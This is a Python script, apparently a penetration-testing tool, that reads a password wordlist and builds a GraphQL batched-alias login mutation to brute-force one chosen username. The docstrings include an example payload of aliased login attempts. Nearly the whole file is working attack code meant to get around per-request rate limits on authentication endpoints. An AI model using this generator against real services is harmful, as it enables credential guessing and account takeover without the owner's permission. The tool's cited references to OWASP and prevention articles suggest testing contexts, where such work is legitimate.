graphql mutation attack

#!/usr/bin/env python3
# gql_mutation_payload.py
# @dualfade

# NOTE: refs --
# https://dev.to/ivandotv/preventing-graphql-batching-attacks-56o3
# https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mutation-access-data-manipulation
# https://devinschulz.com/rename-fields-by-using-aliases-in-graphql/

"""
example authentication mutation =>
mutation request is updated with generated payload =>

mutation login ($input : LoginInput!) {
    __INSERT_MUTATION_PAYLOAD__
    login(input: $input) {
        token
        success
        }
    }
"""

"""
example mutation payload =>

bruteforce1:login(input:{password: "P@ssw0rd1", username: "admin@example.com"}) {
        token
        success
    }
bruteforce2:login(input:{password: "P@ssw0rd2", username: "admin@example.com"}) {
        token
        success
    }
}
"""

import sys
import logging
import coloredlogs
from optparse import OptionParser

# logging --
logger = logging.getLogger(__name__)
coloredlogs.install(level="DEBUG")
coloredlogs.install(level="DEBUG", logger=logger)
logger = logging.basicConfig(
    format="%(asctime)s - %(message)s", datefmt="%d-%b-%y %H:%M:%S", level=logging.INFO
)


# class --
class WriteToFile:
    """write mutation payload --"""

    def __init__(self, oname, mutations):
        self.oname = oname
        self.mutations = mutations

    def write(self):
        """write to file --"""
        try:
            for i, m in enumerate(self.mutations):
                with open(self.oname, "a+") as f:
                    f.write("{}\n".format(m))

            logging.info("=> mutation payload written to %s" % self.oname)

        except IOError as err:
            error(err)


# def --
def do_mutation(*args, **kwargs):
    """generate mutation list --"""

    fname = args[0]
    bname = args[1]
    uname = args[2]
    plist = []

    try:
        with open(fname, "r") as f:
            r = f.readlines()
            for enum, line in enumerate(r):
                mutation = """
                    __BATCHNAME__#NUM#:login(input:{password: "__PASSWORD__", username: "__USERNAME__"}) {
                        token
                        success
                    }
                """

                # update mutations --
                m1 = mutation.replace("__BATCHNAME__", bname)
                m2 = m1.replace("#NUM#", str(enum))
                m3 = m2.replace("__PASSWORD__", line.strip()).lstrip()
                m4 = m3.replace("__USERNAME__", uname.strip())
                plist.append(m4)

            # ret --
            return plist

    except IOError as err:
        error(err)


def error(err):
    """standard error; exit message --"""

    logging.error("[err] application error %s" % err)
    logging.error("[err] exiting now.")
    sys.exit(-1)


# main --
if __name__ == "__main__":
    """do OptionParser; pass args; output JSON mutation --"""
    parser = OptionParser()
    parser.add_option("-f", "--fname", dest="fname", help="list of passwords to mutate")
    parser.add_option("-b", "--bname", dest="bname", help="batch name")
    parser.add_option("-u", "--uname", dest="uname", help="user to batch attack")
    parser.add_option("-o", "--ofile", dest="ofile", help="output filename")

    try:
        (options, args) = parser.parse_args()
        if options.fname is None:
            error("=> missing list!")
        if options.bname is None:
            logging.info("=> setting default value: bruteforce")
            options.bname = "bruteforce"
        if options.uname is None:
            error("=> missing username!")
        if options.ofile is None:
            error("=> missing output filename!")

        # generate mutations --
        do_mutations = do_mutation(options.fname, options.bname, options.uname)

        # write the payload --
        do_writefile = WriteToFile(options.ofile, do_mutations)
        WriteToFile.write(do_writefile)

    except KeyboardInterrupt:
        logging.error("=> Keyboard interrupt")

    except Exception as err:
        error(err)

    except SystemExit:
        sys.stdout.write("\n")
        sys.stdout.flush()

# __EOF__